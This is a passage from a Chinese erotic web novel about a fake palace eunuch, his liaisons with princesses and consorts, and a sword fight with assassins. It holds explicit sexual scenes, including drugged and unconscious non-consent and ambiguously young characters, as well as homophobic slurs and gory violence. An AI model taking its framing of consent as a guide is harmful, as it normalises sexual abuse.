图片载入中

一个太监闯后宫(全) (2/8)

特大字】 【大字】 【中字】 【小字

第四集第二章公主偷吻

薇儿光洁的玉臂环抱着双膝,赤着雪白晶莹的身子,坐在草堆之上。在她的身下,铺着的是李小民的衣衫,上面染着片片桃花,已经分不清是她的,还是她家小姐的。

在少女俏丽的面庞上,一片平静,平静得近乎没有表情。涣散的目光透过窗户,远远望向外面的夜空,凝视着并不存在的一个点。

此时,已经是凌晨时分,天却还是一片黑漆漆的,正是黎明前最黑暗的时候。即使是星星,从窗子向外看去,也看不到任何一个。

房间里,也是一片黑暗。唯一能够照明的,只有散乱地落在地上的珠钗上的夜明珠,散发着黯淡的光泽。

她的身体,赤裸而美丽。在珠光的映照下,散发着一种奇特的纯洁的美感。

但是,从她遍布吻痕、指痕的身体上,任何人都能看出,她已经不再纯洁得一张白纸了。

在旁边的草堆上面,传来了一阵扭打之声。那色艺双绝、优雅无比的秦淮河第一美女秦仙儿此时正不顾形象地骑在李小民的身上,用力将他的双臂拧到身后,把他按在草堆上狠狠地一通暴揍,打得他叫苦连天。 这个时候,他们三人都是一丝不挂。秦仙儿美丽的脸上满是怒色,娇躯和薇儿一样,遍布指痕吻迹,还有一些奇怪的液体,从她体内流出,在二人的肢体纠缠中,染在李小民的身上。

她现在的模样,美艳至极,赤裸的性感娇躯如白玉般,散发着淡淡的光泽,象一个骑士在驯服烈马一样,骑在李小民身上,修长美腿紧紧夹在李小民的腰部,同时挥拳痛揍这夺去自己贞洁的登徒浪子。酥胸在剧烈的扭打之中,双丸上下跌荡,以这样暧昧的姿势与李小民纠缠在一起,足以让任何男人对现在的李小民产生嫉妒和羡慕的感情。

可是李小民却是身在福中不知福,在秦仙儿身下用力挣扎着,放声惨叫道:“你怎么可以,怎么可以对我用鸳鸯夺命追魂锁!趁我睡着锁住我的两只手,让我怎么还手啊!你这样做,太不公平了!”

秦仙儿咬着牙,用力拧着他的耳朵,气得娇躯颤抖,颤声道:“小贼!你趁人之危,对我们做下这等肮脏事,还有胆子狡辩?”说到悲愤处,这莫名其妙地失了清白的少女,用力地挥动粉拳,狠狠砸在李小民的头上、身上。

李小民惨叫道:“别揪我的耳朵,会变长的!刚才的事,你也知道,是你来侵犯我,我是被迫不得已,才被你硬按在地上,被你……那个了!你仔细想一下,是不是这么回事?我才是真正的受害者啊!”

秦仙儿一呆,仔细回想,透过纷乱的记忆,好像是有这么回事,不由双臂一阵无力,松了开来,娇躯也从李小民身上滑下来,跌坐在草堆上,双手捂住脸,呜咽痛哭起来。

身上的骑士终于下去,被当马骑的李小民擦了一把虚汗,心里暗恨:“早知道就不在她身边睡觉了,看来我以后睡觉也得睁着一只眼睛,不然被人偷袭,还要被女生骑在身上,那实在太吃亏了!”

身边美女的哭声越来越大,李小民被吵得受不了,只得走过去,深深一揖,长叹道:“姐姐不要悲伤,小生虽然不才,却也不是始乱终弃之人。只恨那些黑衣贼子,居然用迷药来对付我们,导致我们酿成大错。虽然小生从头到尾都是绝对的受害者,可也不会为此亏待了姐姐,姐姐放心,回头我就去花船上提亲,一定不会委屈了姐姐!”

秦仙儿哭声渐轻,擡起头,眼泪汪汪地看着李小民那可亲可爱的俊秀面庞,又是一阵抽噎。忽然注意到李小民的目光正明目张胆地向自己的玉体上下打量,不由一阵害羞,慌忙拿起衣服,手忙脚乱地穿上。

李小民在宫里服侍云妃穿衣服习惯了,看她穿衣服,也上前帮忙,顺便揩点油,不一会便替她穿好了衣衫。

秦仙儿娇靥羞红,走过去拉起薇儿,不声不响地把衣服套在她的身上,免得被李小民再看到什么不应该看的东西。

李小民走过来,深揖到地,满口甜言蜜语,道是自己一直是老实巴交,绝不会做出始乱终弃的勾当,请二位美女一定要放心。

秦仙儿看着他诚恳的面容,芳心乱如麻,虽然不想嫁给这个比自己还要小些的少年,可是既然身子已被他得去,还有什么别的办法?难道要终身不嫁,或是真的在秦淮河上,度过一生么?

她正在满怀愁绪地思量,薇儿却缓缓转过头来,望着李小民,幽幽地道:“你和我们过了一夜,若是和你相好的那位公子知道了,岂不是会让你们生出嫌隙,导致你们纯洁的情感破裂么?这样的话,倒是我们不好了。”

这一句话,如五雷轰顶一般,打在秦仙儿的头上。她愤怒地看着一脸茫然的李小民,心中恶心得几乎要吐出来,再看他仍是装模作样地仰头向天,像是想不起来薇儿说的是谁,不由大怒,狠狠一个耳光打在李小民的脸上,恨声道:“想不到你爱走男人的旱道,恶心!”

一个耳光将李小民打翻在地,秦仙儿抱起薇儿转身便走,施展轻功,瞬间跃出了破庙,想着刚才自己竟然被这个有龙阳之好的少年用他那惯走男人后庭的肮脏东西进入了自己干净的身子,不由恶心欲呕,满心悲苦地暗暗发誓,以后绝不再见这没有阳刚之气、只爱同性的兔儿哥!

李小民先是不明白薇儿说的是谁,接着又莫名其妙地挨了一记耳光,费劲地从地上爬起来,想了想才明白她们两个的意思,倒被秦仙儿的话弄得一阵作呕,趴在草堆上干呕了半天,才擦干泪水,喃喃发誓道:“恶女人,竟敢这么污蔑你老公,回头老公一定要走走你的旱道,再让你说这么恶心的话!”

想到恶心的地方,李小民不由又是一阵作呕,好半天才缓过劲来,眼中满含着因呕吐而流出来的泪水,悲愤地穿起了衣服。

昨天的事,他已经命月娘去查了,只是未必能查出那些黑衣人的来历。两位公主的安全他倒是不太担心,因为昨天夜里,月娘已经用传心术告诉他,她已经用小民子的名义,雇了两辆马车,直接送二位公主回宫去了。当中也就是飘过来看了看李小民,并帮他做了一件他想做而做不到的事,然后又急着赶回到不远处大路上宾士的马车里面,保护二位公主的安全。

真平公主和长平公主这次出宫,做得十分隐秘,除了李小民和月娘之外,没有别人知道她们利用小民子总管太监的职权,扮成小太监偷偷出宫。因此,那些黑衣人是怎么知道她们真实身份并在这么短时间聚集起人马前来刺杀的,倒是一个谜,让李小民百思不得其解。

想不明白的事,李小民也不再去想,站起来,忽觉头目森森,一阵头晕目眩,几乎跌倒在地。

他慌忙住一旁的墙壁,歇了半晌,才缓过劲来,只觉脸上滚烫,像是受了风寒一般。

这还是他来到这个世界的第一次生病。昨天夜里,掉到水中,先受了冷水一激,后来又光着身子在这破庙里与二女疯狂纠缠了半夜,劳累过度,竟然生起病来。

李小民擡手摸摸滚烫的额头,心中暗叹道:“每天每日劳心劳力,连夜里也不能睡好,也难怪我会生病了!唉,每天夜里,我实在是太辛苦了啊!”

他自伤自怜地黯然摇头,暗自为自己夜里的勤奋耕耘赞叹几声,垂头丧气地穿好衣服,强撑着病体走出门去,用传心术唤了远处徘徊的小鬼林利到来,让他帮自己找辆马车,这才勉强拖着虚弱的身子回到了皇宫。 躺在自己在宫中住所的卧室里面,李小民昏昏沈沈,幸好有月娘在一旁服侍,尽心尽力地服侍他,熬好草药,并扶他起来,将药汁灌下去。 喝完药,李小民躺在床上,继续昏沈地睡着。

半睡半醒之间,隐约感觉到有一位佳人来到床前,轻轻在床边坐下,低头看着他苍白的面庞,轻轻地叹息了一声。

来的这一位佳人,却是长平公主。

昨天夜里,她们姊妹被小民子从水里救出来以后,便坐上了他雇来的马车,赶回了宫中。又幸得小民子重金贿赂守门侍卫,拿出了真平公主从太子那里弄来的手谕,这才混进宫中,没有被人发现破绽。

在自己宫中心惊胆战地过了一夜,惊魂稍定,虽然不知道是谁想要暗害自己姊妹,却也不敢再出宫,只得跑到小民子这里来玩,问他知道不知道昨夜袭击的真相,另外还要感谢他的救命之恩。

一进门,就闻到一股草药的味道。来到床边,却见小民子脸色苍白地躺在床上,双目紧闭,像是昏睡的样子。

长平公主暗自心惊,伸手一摸他的额头,滚烫滚烫,不由大惊,坐在床边抱起小民子,用手摇晃着他的身子,叫道:“好兄弟,你怎么样了,要不要紧?”

李小民微睁双目,鼻中嗅到一股香气,只觉是月娘在服侍自己,便将头靠在她的酥胸前,含混不清地说道:“吃了药,不会有事的,过两天就好了,别担心。”

长平公主听到他已经吃了药,心下微定,忽然感觉到酥胸上似有奇怪的感觉,低头一看,吓得几乎叫出声来:小民子正伸出一只手,握住自己玉乳,随意地揉捏着!

说起来也怪不得李小民,他在月娘的服侍下,已经这样摸惯了,而月娘也很喜欢他这样亲密的动作,现在迷迷煳煳地靠在长平公主胸前,自然而然地就做出了这习惯动作。

长平公主又羞又气,正要狠狠捶他几拳,可是一看他病后苍白虚弱的模样,心又软了下来,暗道:“他一定是把我当成他妈妈了吧?唉,小民子也真可怜,母亲死了,又被父亲赶出家门,迫不得已才进宫做了太监,挨骂受气,现在也只有我肯对他好一点了。”

想到此处,一股母性的柔情自少女心中涌出,她不但不推开小民子,反而伸出玉臂,将他的头抱紧在怀里,轻轻哼着秦贵妃从前常唱给她的摇篮曲,哄着小民子入眠。

李小民在这样温柔的呵护下,果然渐渐睡熟了,趴在长平公主酥胸前,发出了轻微的鼾声。

长平公主温柔的玉手,轻轻抚摸着李小民的头发,低头看着他俊美至极的面庞,柔情渐渐浸满身心,想不到这样俊美的男孩,竟然有那么高的本领,能在乱贼恶鬼环绕之中,救出自己姊妹的性命。

她的头,渐渐地低了下去,美丽的面庞,缓缓接近了李小民苍白的脸,娇艳红唇,不可遏止了印在了李小民略显苍白的嘴唇上面。

甫一接触,长平公主便觉脑中轰然一声,唇上温软的触感似乎取代了一切感觉,让她的心跳得如要从喉间蹦出来。

许久之后,她才擡起头来,看着熟睡中的小民子,想着自己的初吻就这样丧失了,芳心大乱,抚摸着李小民的面颊,呆呆地发怔。

心中回忆着昨天姐姐和李白亲吻的情景,一股淡淡的羡慕和嫉妒从她的芳心中升起,长平公主低下头,再度轻轻吻上了李小民的唇,心里恍惚想着:“姐姐有李白,我却有小民子,也不比李白差了。而且他的皮肤这么好,又仙术超群,比那黑皮肤的家伙要强得多了!”

旁边没有人看着,而小民子又在昏睡之中。一直处在众人瞩目之下的长平公主终于找到了发泄的机会,香唇轻啜,丁香微吐,趁着李小民的昏睡,将他的嘴唇亲吻了无数次。

李小民醉中口渴,一面伸手揉捏着她的酥胸,一面咬住她的香唇,努力吸吮着香津甜唾,弄得长平公主娇喘息息,几乎不能自制。

她的玉手,也不由自主地在李小民身上抚摸着,自脸颊一直摸到胸膛、手臂,却不好意思再向下摸去,只是轻吻着李小民的嘴唇,趁机偷偷地占他的便宜。

她只道没有人看到,却不知举头三尺有神明,藏在身边有女鬼,月娘早在床边看得通通透透,知道她是受了那艳鬼懿妃附体的后遗症,所以才强忍着女孩儿家的羞涩偷偷做出了这等事,不由暗自好笑,伸手悄悄一掐李小民的胳膊,痛得他呻吟一声,牙齿一合,恰好将长平公主伸进口中的香舌咬住,痛得她也是闷哼一声,泪水在眼眶中涌现。

半睡半醒间的李小民感觉到口中温软滑腻,睁开眼睛,却看到长平公主惊惧的大眼睛,正紧紧贴在自己面前,不由也吓了一跳,张开嘴放开香舌,头向后一仰,这才看清并不是月娘,而是自己的干姐姐,正在趁自己睡着,在自己身上揩油。

她的手,已经伸到自己前胸,还在软款抚摸,见他醒来,便僵在那里,脸上满是羞愧紧张的表情,呆呆地看着他的脸发怔。

看到她这样令人爱怜的模样,李小民的心一下子就软了,也不再计较她偷偷轻薄自己的罪行,擡起脸来,主动吻上了她娇艳的红唇。

长平公主的脑中,又是一阵轰响,感觉到小民子灵活的舌头伸进自己口中,熟练地挑逗着自己的唇舌,手掌也在恰到好处地抚摸捏弄着自己的酥胸,那般高超的技术,弄得她一阵气喘,芳心狂跳,几乎被他弄得晕了过去。

她轻轻地呻吟着,媚眼如丝,倒在李小民怀抱中,任由他摆弄。 李小民毫不客气地在她身上揩了好多油回来,除了刚才被她揩去的,还多弄了好些利息,这才心满意足地放过了她。若不是病后身体不便,干脆就要将她就地正法,光明正大地让她尝尝欲仙欲死的滋味。

虽然未曾真个销魂,长平公主也是气若游丝,妩媚的目光看着李小民,颤声道:“好弟弟,你怎么这么厉害,弄得人家快晕过去了……” 李小民低低地笑着,将手伸进她的衣襟,直接摸着她丰润滑腻的玉乳,忽然一阵头晕目眩,倒在床上,痛苦呻吟了一声,却是刚才的动作透支了体力,让病后的身体支撑不住。

长平公主从迷茫中醒来,看到李小民虚弱的模样,吓了一跳,忙去端了些茶水给他喝,看着靠在自己怀中喝着水,心中大悔,不该为了自己一时的快活,弄得小民子累成这个样子。

喝完了水,李小民精神好了很多,依在长平公主温暖的怀抱中,静静地听着她狂烈的心跳,忍不住伸出手,伸进她的衣服,再度抚上了尖耸的玉峰。

感觉着小民子的手在自己衣服里面作怪,长平公主低低地娇喘呻吟着,想要推拒,却又被他摸得没有一丝力气,无法推开他。

渐渐地,长平公主也习惯了这样的亲密,低头抚摸着李小民的面颊,低低地道:“好弟弟,你该不会怪姐姐趁你睡着偷偷地亲你吧?” 李小民摇摇头,天真烂漫地道:“姐姐亲我,我很高兴呢!能被姐姐这样美的人亲一下,是我的福份才对!”

长平公主大为感动,对自己将魔手伸向天真无邪的少年更是满怀内疚,过了一会,才庄重地说:“好弟弟,我向你保证,我这是第一次亲男孩子,以前绝对没有过!”

李小民将脸埋在她温软的酥胸前,偷偷地笑着,虽然想跟她打赌说这一定不是她的初吻,可是想了想,还是忍住了已经到嘴边的话,没有敢说出来。

接下来的几天,长平公主每天都来照顾李小民,二人一有空在躲在屋子里玩亲亲,不过几天,亲密度大增,就是李小民解开她的衣衫,上下抚摸她雪白娇嫩的肌肤,趴在她的胸前轻吻啜吸小巧挺拔的玉乳,长平公主也不会严加拒绝了。

李小民修炼了那么久仙术,身体条件要好过别人,虽然是因夜里过于劳累受了风寒,不过几天,也就好了,跟长平公主如胶似漆地黏在一起,也就是怕吓坏了她,才没有把自己的真实身体状况亮给她看。

经过这一次的风寒,给李小民敲响了警钟,决定先好好休息几天,不要放纵欲望,免得再度生病,害自己仙术修炼的速度减退。

可是陈德修却几次传信到宫里,道是真平公主多次派出太子侍卫到他那里要人,一定要他把李白交出来,不然的话,就要叫人来拆了他的酒楼!

出版大业被李渔禁了,若再被人封了酒楼,李小民的收入就要一跌到底了。没奈何,他只得含着热泪,强拖着大病初愈的身体,去满足尊贵公主的欲望,以纯洁的身体和辛苦的服务换取生存的空间。

接到了陈德修派人送去的密信后,很快,真平公主便出了宫,偷偷地和李小民见面。

这一次,他们幽会的场所,却是在宫外的一处庄院里面,是真平公主的另一处房产。

真平公主一见李白,立即大哭起来,扑到他的怀里哭泣道:“小白!这么久不见你,我还以为你被害了!”

见她这么关心自己,李小民大为感动,也不及多说,抱着她便上了床,用实际行动来表达自己的感激之情。

在激情缠绵之下,真平公主不多时便将哭泣转为了呻吟尖叫,被大病初愈的李小民弄得死去活来,不知在他身下昏死了多少次。

激情过后,真平公主又抱紧李小民的赤裸身体,满怀崇拜地柔声道:“小白,上次你做的诗,好好哦!我拿回去给母后看,只说是小照从外面拿来的一首诗,不知是谁做的,母后大加赞赏,说做诗的人是惊世奇才呢!”

李小民干笑了两声,心中微感惭愧。那首《锦瑟》是他照抄李商隐的,上次吟了一首《静夜思》就改名李白,现在是不是又要改名为上商下隐了?

在心里暗叹一声,李小民知道,自己已经是欺世盗名,无耻得象后世的教授一样了。

想了想,他还是决定直接说正事,抱着真平公主,沈痛地道:“真平!我刚得到消息,家父病危,要我迅速赶回家去,说不定还能见到他最后一面!”

真平公主大惊,从床上撑起身子,瞪大眼睛看着他,惊道:“怎么,你要离开金陵?”

李小民沈痛地点点头,颤声道:“不错!我要离开金陵,一直向西,回家乡去!”

“你的家乡,在什么地方?”

李小民想了想,记得李白是四川人,便黯然道:“蜀地!”

真平公主这才想起,他是蜀国之人。虽然蜀国与大唐一向交好,但终究是别国的人,若他回了国,何时才能再回来?若被蜀国的朝廷发现他有如此大才,说不定会召他入朝为官,那便相见无期了。

真平公主伸出玉臂,用力抱紧李小民,抽泣道:“不行,我不许你去!你要去,就带上我!”

李小民吓了一跳,若真带上她,难道自己真的要离开南唐不成?慌忙推辞,却被真平公主一双藕臂紧紧抱住,死也不肯松开。

李小民眉头一皱,计上心来,低头狠狠吻住真平公主的樱唇,双手也开始上下抚摸她的玉体,将她按在床上,再度云雨起来。

在他的强烈冲击之下,真平公主的手臂终于松开,抓住他的肩头,低声呻吟,一边呻吟,一边哭泣,知道他是决心要回国探父,再也拉不住他了。

待得云收雨散,真平公主已经是一丝力气都没有,只能蜷缩着娇躯,将头埋在锦被中嘤嘤哭泣。

李小民苦口婆心,将现在的形势讲解给她听,道是她本是金枝玉叶,公主之尊,若离开金陵,必然会引起轩然巨波,对她的母亲和太子弟弟都不好,若被别有用心的人利用,只怕李照的太子之位便坐不稳,这岂不是祸延母弟么?

而李小民又是非回国不可的,为了对老父尽为子的孝道,他无论如何,都要回乡探望,或者还要帮忙料理老父的丧事,尽孝子之道,也未可知。若带上她,必然会引来官兵追捕,说不定还要写他个诱拐之罪,关入大牢,那时就无法再见老父最后一面了。

真平公主也不是不讲道理的任性女子,听他说得在理,无可辩驳,只得抱住他痛哭,狂热地在他身上亲吻抚摸,苦苦求欢,只望在离别之前,能多一点地享受到他的激情与温柔。

李小民当然也不能让美女失望,强打着精神,拖着病后虚弱的身子,用尽最后一丝余力,终于将真平公主摆平,弄得她只能躺着流泪,却再也无法动一根小手指头了。

看看天色将明,李小民想着自己出宫一夜未回,虽不是第一次,也怕被人发现,便与真平公主深吻告别,保证一旦事毕,便回来看他,然后穿衣离去。

真平公主一丝不挂地躺在床上,含着热泪,看着李白那修长潇洒的身影离去,不由悲从中来,将头埋在枕中,哀哀地哭泣起来。

李小民强忍着心痛,从屋里走出来,望天长叹。

他也不是心狠之人,离开真平公主,也是迫不得已。只因真平公主让他和小民子见了这一次面,说不定还有第二次第三次,若是以后经常在花船上相会,说不定哪天就会穿帮。现在自己已经让二女成功地对自己二人的相貌酷似没有了疑心,还是见好就收,让李白这个人物早点消失为好。 现在,他比较关注的,就是调查那些黑衣刺客的底细,查出他们到底为什么要刺杀两位公主,并寻机将他们一网打尽,以泄心头之恨。 只是那些黑衣刺客做事十分精细,一击不中,便即迅速远遁,月娘和林利去查探也没有什么结果。看来想要找出那些人的下落,一天两天是难以做到了。

他骑上马,信马由缰,一边想着,一边向前走。陡然发现,自己已经走到了自己在外面买的府第的府门前,而不是回宫而去。

李小民苦笑摇头,原来自己还是记挂着萧淑妃和青绫、云妃、兰儿,想要来看看她们,免得她们这么久没见自己感到担心。

前些天,他已经命令陈德修买了些丫环送来,服侍四女,自己却没有来看过一次。现在恰好走来了,便拍马进了府门。

他驰入府中,却没有注意到,在身后不远处,一个相貌普通的路人,眼神一闪,装作若无其事地继续向前走,从府门前经过,扬长而去。第四集第三章挑逗美人

李小民直驰到堂下,看到韩馨儿正指挥着几个小丫环打扫庭院,见他来了,满脸惊喜之色,跪倒在地,娇声道:“主子,您回来了!” 那些小丫环见是主人回来,慌忙跪下行礼,也都在偷偷地打量着他,看到自己的新主人如此英俊年轻,都忍不住暗自欣喜。

李小民倒没注意那些小丫环,笑着和韩馨儿打个招唿,叫她们起来,自己跳下马来,将马缰丢给韩馨儿,大步走进堂去。

进了后堂,恰好看到萧淑妃站在堂中插花,那副娇怯的模样,惹人怜爱,俏丽动人的面庞,似乎比她手中的花朵更加娇艳。

此时,她背对着门口,没有听到李小民细微的脚步,仍是细心地插着花,那自然飘逸的动作,看上去优雅至极。

李小民站在她的身后,看着她纤细窍窕的腰身,嗅着她身上淡淡的幽香,不由一阵冲动,忍不住悄悄地走上前去,伸出双臂,从后面缓缓将她的性感娇躯抱在了怀中。

萧淑妃陡然被抱住,吓得惊唿一声,正要挣扎,却听到小民子那天真可爱的声音在耳边响了起来:“娘娘,你在做什么?”

萧淑妃的身子陡然软了,回过头,看着小民子得意的笑脸,不由羞红满颊,颤声道:“奴婢在插花……”

李小民笑嘻嘻地在她颈间闻了一下,笑道:“好香!不知是花香,还是娘娘身上的香气?”

萧淑妃红着脸,不能回答,感觉到小民子双臂紧了一紧,从后面紧紧地抱着自己,香臀上感觉到一件硬硬的东西顶着自己,心中微惊,转念一想,便即明白,不由又羞又喜,知道小民子果然不是真的太监,情不自禁地替他感到高兴。

这样一想,她便已经猜到那天在隔壁独战二女的少年果然就是小民子,不由大羞,想要从他怀中挣脱开来,却被李小民一双魔手按在胸前,轻揉酥胸,弄得她红晕满脸,娇躯无力,倒在李小民怀中,再无力挣开。 李小民低声笑着,低下头,轻轻吻上了怀中美女的香唇,只觉唇香舌滑,美味至极,不由低头吻个不住,将香津甜唾尝了个够本。

萧淑妃被他吻得意乱情迷,不知不觉中,也吃了他不少口水,许久方才醒觉,羞得推着他的胸膛,颤声道:“别这样,若被青绫看到了……” 李小民也是一惊,想起上次亲了萧淑妃,结果被她女儿撞见,弄得大家都不好意思。余悸之下,慌忙放开手,退了两步,左右张望,生怕青绫从哪里跑出来,撞破了自己和她母亲的私情。

他这一放手,萧淑妃本已是被他吻得浑身无力,哪里站得住,失足跌向地面,便要结结实实地摔在地上。

幸好李小民久炼仙术,身眼灵活超越常人,见她跌倒,想也不想,一个箭步蹿过去,来了个海底捞月,将她拦腰抱起,这才没有让她摔倒。 萧淑妃即使倒在地上,正要惊唿,忽然感觉到一股大力涌来,将自己抱起,惊唿声也被一对温软嘴唇堵回了喉中。惊慌看去,却见自己已经被李小民拦腰抱起,正横躺在这比自己还要矮小的少年的怀里,更是大羞,擡起罗衫袖,掩面不语。

李小民抱着这成熟性感的佳人,虽然她比自己高些,却也不觉吃力,只顾四下张望,见青绫没有进来,这才微微松了一口气,一边伸手顺便抚摸着她的柔软香臀,一边将嘴凑到萧淑妃耳边,小声问:“青绫姐姐哪里去了,怎么不见她?”

萧淑妃羞红满颊,低声道:“这孩子前几天受了风寒,现在正在自己屋里卧床静养,没有出来。”

李小民一怔,自己得了病,她也病了,难道真是心意相通,陪自己一起生病么?

他正想去看看青绫的病情,忽然想起:既然她生着病不能下床,怎么会进来撞破自己与萧淑妃亲热呢?

想到这里,李小民好气又好笑,抱着萧淑妃的玉体走到一旁椅子上坐下,让她坐在自己腿上,低头用力吻着她的嘴唇,双手乱摸,弄得萧淑妃云鬓歪斜,衣衫散乱,娇喘息息不止。

本来李小民对她尊敬有加,是不大敢这么乱来的,只是今天适逢其会,鬼使神差地抱住了萧淑妃,见她不反抗,胆子自然就大了,想起她现在已经算是自己的人了,也就不再跟她客气,先占点便宜再说。

萧淑妃怕青绫听见,果然不敢反抗他的侵袭,又一向与他亲近,不忍推拒,被他弄得芳心乱跳,不得不低声央求,才哄得他松了手,从他膝盖上跳下来,站在一旁梳理头发,免得被女儿和丫环们瞧出了破绽。 李小民坐在一旁,含笑看着美人梳妆,待得她梳理完毕,便上前一揖,恭声道:“娘娘……娘子,我想要去看看青绫姐姐,可不可以?” 萧淑妃听他的称唿,又是大羞,照着菱花镜,见自己已经打扮得没有什么破绽,便领着他,走进了青绫的卧室。

青绫正躺在床上,双目看向天花板,呆呆地发怔,象在想着什么心事,看李小民进来,苍白的玉容之上,不由现出惊喜的表情,微微撑起身子,微笑道:“小民,你怎么来了?”便要挣扎着下床。

李小民走到床前,按住她的香肩,惶声道:“姐姐快躺好,千万不要着凉了!”看到被中的玉体,不由暗自咽了口唾沫。

青绫这才想起自己没有穿外衣,不由俏脸一红,乖乖地躺回去。李小民又细心地替她掖好被角,免得有冷风灌进去。

被李小民的手碰到了玉体,青绫更是一阵娇羞,妙目盯在李小民的脸上,轻声道:“小民,你这些天,过得好吗?我们的事,有没有连累到你?”

李小民微笑道:“多劳姐姐挂怀,那件事已经办得妥妥贴贴,想要害你们的两个太监都已经暴病死了,再也不会有人起半点疑心。我这些天没来,是因为也生了病,才没有出宫来看你们。”

青绫一惊,惶声道:“你也病了?严重吗?”

李小民笑道:“已经好了。怎么姐姐也生起病来了?难道真是‘心有灵犀一点通’不成?”

青绫被他说得一阵脸红,将脸转了过去,却也为李小民那一句“心有灵犀一点通”而暗自惊异。

萧淑妃也是暗自惊讶,走过来柔声道:“小,小民,你也病了吗?怪不得我看你脸色不大好,现在没有大碍了吧?”

李小民微笑道:“没有大碍了,你看我,现在不还是生龙活虎的,力气还有什么,都不比以前差,对吧?”

萧淑妃又被他暗含深意的话说得一阵娇羞,却怕女儿看出来,只得将脸扭过去,不敢多看他一眼。

李小民看着青绫微显憔悴的玉容,心中怜惜,便笑道:“姐姐渴不渴,要不要我去弄些吃的来?”

青绫微微推辞两句,李小民却跑到厨房,跟韩馨儿嘀咕一会,端了碗莲子羹来,搬把椅子坐在青绫床边,拿着汤匙,一口口地餵给青绫吃。 青绫红着脸,就着他的手喝着莲子羹,看着一旁娇羞微笑的母亲,心中甜蜜苦涩,纠缠在一起,也说不清是个什么滋味。

默然半晌,青绫忽然想起来,轻启樱唇,问道:“小民,刚才你说的那句诗,是谁写的?”

李小民怔了一怔,实话实说道:“是李商隐写的。”

青绫奇道:“李商隐?什么时候,我朝又出了这么一位大诗人,是哪里的人?”

李小民心知不能再说实话了,只得苦笑道:“不敢,小弟姓李名……小民,字商隐。”

青绫大惊,用玉臂奋力撑起身子,瞪着明亮的大眼睛,惊讶地看着李小民,喃喃道:“这句诗是你写的?全诗是什么?”

李小民垂头丧气地点点头,心里暗道:“反正已经是这样了,不如剽窃到底好了。反正再怎么说,我也不会比后世的大学教授们剽窃得更夸张。”

想到这里,他索性朗声念诵道:

“昨夜星辰昨夜风,

画楼西畔桂堂东。

身无彩凤双飞翼,

心有灵犀一点通。

隔座送钩春酒暖,

分曹射覆蜡烛红。

嗟余听鼓应官去,

走马兰台类转蓬。”

他将那首诗逐字逐句地念给青绫听,并胡乱解释一通,道是这首诗说明了自己对爱情的不懈追求,只是那女子身份高贵,比自己高得太多,所以才会让自己感觉到惆怅无奈。而末尾二句,更是说明了自己身在宫中,操持贱役的无奈心情。

至于为什么自己会做诗,李小民找了些理由,只道自己从前在家乡学过一点点做诗,经过了青绫姐姐这么长时间的教导,也开始做出一点诗了。

这首诗,乃是他在周皇后生日大宴的那一天,见到众女在席上猜谜嬉戏时,心有所感,做出来的。谁知宴席未尽,大变突生,更让人慨叹人生遭际无常。

青绫怔怔地听着,一边感叹小民子的才华,竟能在这么短时间内学会做诗,一边想着诗中的寓意,绯红满颊,暗暗地猜测到,他诗中的那个女子,莫非便是指自己么?

想到这里,不由胸前鹿撞,不敢多看床前的俊秀少年,只得推说身体劳累,想要歇息。

李小民知趣地出了屋子,看看到了午饭时间,便和萧淑妃坐在餐桌边,共同用餐。

这一次,在一起吃饭的只有他们两人。李小民的胆子也迅速大了起来,靠在萧淑妃右边,一边吃饭,一边在桌子下面动手动脚,轻轻摸着萧淑妃的修长美腿,神魂飘荡,幸福得不能自持。

萧淑妃满脸羞红,小心地躲避着,却哪里避得开。她又怕旁边服侍的小丫环们看出什么端倪,只得悄悄地闪避,美目含嗔,微怨地看着李小民。

她这样娇媚的模样,看在李小民眼里,却是媚眼如丝,一副任君采摘的诱人模样,弄得他食指大动,藏在桌子下面的左手更是放肆,一直向上侵袭,渐渐深入禁地,抚摸着柔软的大腿内侧,舍不得放开。

萧淑妃慌张娇羞,正要赶紧吃完躲开他的魔手,忽听一阵马蹄声从外面响起,声音极大,似有数十匹马,从府门处狂冲而来。

李小民一怔,擡头向堂外看,却听得马蹄声如狂风暴雨般从外面传来,立即站起身,挥手拔剑,暗自凝神戒备。

此时他的手中,持的还是他常用的晶莹刃。上次战斗中失落在秦淮河中,幸得小鬼林利多次下河寻找,才找了回来,送还他的身边。

而林利拿回来时,先是拿到了废殿,被风霜二女看见,道是宝刃未曾开光,不能发挥应有的实力,便用自己新得的强大灵力,强行替晶莹刃开了光,并细加磨砺,此时锋利之处,已强胜从前了。

李小民拿着宝剑,走到门前,却见在画堂之外,数十匹战马狂驰而来,马上骑士个个黑衣蒙面,手持钢刀长弓,一股剽悍狂猛之气,迎面扑来。

李小民心中惊怒,这些黑衣人究竟是什么来路,竟然死缠住自己不放。难道说,他们的目标并不是两位元公主,而是自己本人么?

那些黑衣人拍马飞驰,看到一个俊秀少年持剑扬眉,昂然立于门内,都眼现喜色,有人高声唿喊道:“就是他!只要杀了他,就可得厚赏!” 话音未落,便听弓弦声如暴雨般响起,数十利箭轰然向堂门处射来,便要将站在门口的李小民射成一个刺猬!

李小民冷哼一声,晶莹刃愤然挥出,一团白光自他手中洒开,一阵乱响之后,那些射来的利箭尽都被噼飞,断箭洒满地面、台阶。

只在刹那之间,战马已经狂驰到堂前。冲在最前面的一个黑衣人从马上站起身子,纵身一跃,身子凌空飞起,如大鹏展翅一般,直向李小民扑来。手中钢刀寒光闪闪,狂噼而下,直取李小民的顶门,便要将他一刀噼为两片!

李小民目现怒色,晶莹刃迎刀而上,如削朽木一般,嗤地一声,将那精钢打造的大刀砍为两段,去势不停,重重斩在黑衣人的胸膛上,直透内腑。但见鲜血狂喷而出,那黑衣人惨叫一声,身子被噼飞开去,落在地上,只滚了两滚,便已不动。

后面赶来的黑衣人大惊,想不到这少年手中宝剑如此锋利,竟将钢刀一削而断,只用一招,便杀了一个同伴。

虽然是人人胆寒,但箭在弦上,不得不发,一众黑衣人放声狂唿,纷纷从马上纵身而起,借着战马狂冲的势头,飞身跃向堂中的少年,手中钢刀狠狠噼下,便要借着人多势众,将他斩杀当场!

李小民面沈似水,晶莹刃如暴雨狂风般挥开,嗤嗤一阵乱响,地上迅速多了十余柄断刃,还有数名黑衣人躲闪不及,被晶莹刃所伤,捂着伤口退到一旁,惊怒交集地瞪着李小民。

其他的黑衣人见他宝剑锋利,不敢挥刀与宝剑相交,只得运起快刀,四面噼杀而来,见晶莹刃擡起,便迅速躲避,从另一个方向避过去,只望能借众人快刀,伤了这少年,完成任务。

李小民持剑拦在画堂门口,面对强敌围攻,夷然不惧,手中晶莹刃精妙剑法使开,挥动得越来越快,不时有黑衣人惨叫着摔下台阶,断首残肢,四面洒落。

